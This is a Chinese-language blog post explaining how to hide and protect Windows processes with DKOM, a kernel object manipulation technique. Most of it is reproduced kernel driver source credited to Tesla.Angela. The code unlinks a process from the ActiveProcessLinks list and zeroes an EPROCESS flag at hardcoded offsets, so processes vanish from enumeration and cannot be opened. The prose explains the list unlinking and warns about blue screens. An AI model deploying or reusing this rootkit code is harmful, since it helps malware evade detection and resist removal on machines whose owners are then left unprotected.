用 DKOM 的方法来隐藏进程和保护进程

这个还是根据作者Tesla.Angela所开源的教程写的东西

其实这个东西windows7 应该是没有问题的但是听说windows10 是不行的除了要摘链还是去搞掉一张表这个比较麻烦还有一点要注意的是我们这里的进程结构体不一定是其它系统的结构体因为windows 不同的版本会重新定义很多数据结构然后有些大手子写的驱动会有硬编码什么的就会导致蓝屏~~~~~~

然后想找结构的话可以用Windbg 或者去微软官网查

然后这里直接说原理吧

进程其实使用双向链表来存储的学过数据结构的应该很熟悉在增删改查比较频繁的一般都用链表那么我们只需要把链表给搞掉就行了就可以完成隐藏的功能而保护是因为把结构体的Flag 置位0之后就用OpenProcess 返回失败

但是这样的话会有几率蓝屏所以一般正规软件都不会用这个方法

下面放出作者 Tesla.Angela的源代码

#include <ntddk.h>
#include "MyDriver.h"    

NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);

//目标进程
PEPROCESS audiodg=NULL, dwm=NULL;
ULONG op_dat;

//偏移定义
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET	0x188
#define PROCESS_FLAG_OFFSET					0x440

//获得EPROCESS
PEPROCESS GetProcessObjectByName(char *name)
{
	SIZE_T i;
	for(i=100;i<20000;i+=4)
	{
		NTSTATUS st;
		PEPROCESS ep;
		st=PsLookupProcessByProcessId((HANDLE)i,&ep);
		if(NT_SUCCESS(st))
		{
			char *pn=PsGetProcessImageFileName(ep);
			if(_stricmp(pn,name)==0)
				return ep;
		}
	}
	return NULL;
}

//摘除双向链表的指定项
VOID RemoveListEntry(PLIST_ENTRY ListEntry)
{
	KIRQL OldIrql;
	OldIrql = KeRaiseIrqlToDpcLevel();
	if (ListEntry->Flink != ListEntry &&
		ListEntry->Blink != ListEntry &&
		ListEntry->Blink->Flink == ListEntry &&
		ListEntry->Flink->Blink == ListEntry) 
	{
			ListEntry->Flink->Blink = ListEntry->Blink;
			ListEntry->Blink->Flink = ListEntry->Flink;
			ListEntry->Flink = ListEntry;
			ListEntry->Blink = ListEntry;
	}
	KeLowerIrql(OldIrql);
}
//隐藏进程
VOID HideProcess(PEPROCESS Process)
{
	RemoveListEntry((PLIST_ENTRY)((ULONG64)Process+PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
}

//保护进程
ULONG ProtectProcess(PEPROCESS Process, BOOLEAN bIsProtect, ULONG v)
{
	ULONG op;
	if(bIsProtect)
	{
		op=*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET);
		*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=0;
		return op;
	}
	else
	{
		*(PULONG)((ULONG64)Process+PROCESS_FLAG_OFFSET)=v;
		return 0;
	}
}

VOID test()
{
	audiodg=GetProcessObjectByName("audiodg.exe");DbgPrint("audiodg: %p\n",audiodg);
	if(audiodg)
	{
		op_dat=ProtectProcess(audiodg,1,0);
		ObDereferenceObject(audiodg);
	}
	dwm=GetProcessObjectByName("dwm.exe");DbgPrint("dwm: %p\n",dwm);
	if(dwm)
	{
		HideProcess(dwm);
		ObDereferenceObject(dwm);
	}
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{	
	UNICODE_STRING strLink;
	//unprotect or BSOD
	if(audiodg && MmIsAddressValid(audiodg))
	{
		ProtectProcess(audiodg,0,op_dat);
	}
	RtlInitUnicodeString(&strLink, LINK_NAME);
	IoDeleteSymbolicLink(&strLink);
	IoDeleteDevice(pDriverObj->DeviceObject);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
	
	test();
	return STATUS_SUCCESS;
}

然后这里重点讲解一下摘链其实这个也没有什么好写的 Flink 是指向下一个链表结构而 Blink是指向前一个链表结构

那么我们让前面的指向我们下一个而让后面的指向我们的前面哪一个就可以了

这里我画了图轻喷。。。。希望能够让大家理解然后我们然后我们想要摘掉的直接指向自己就可以了~~~~·

用 DKOM 的方法来隐藏进程和保护进程

猜你喜欢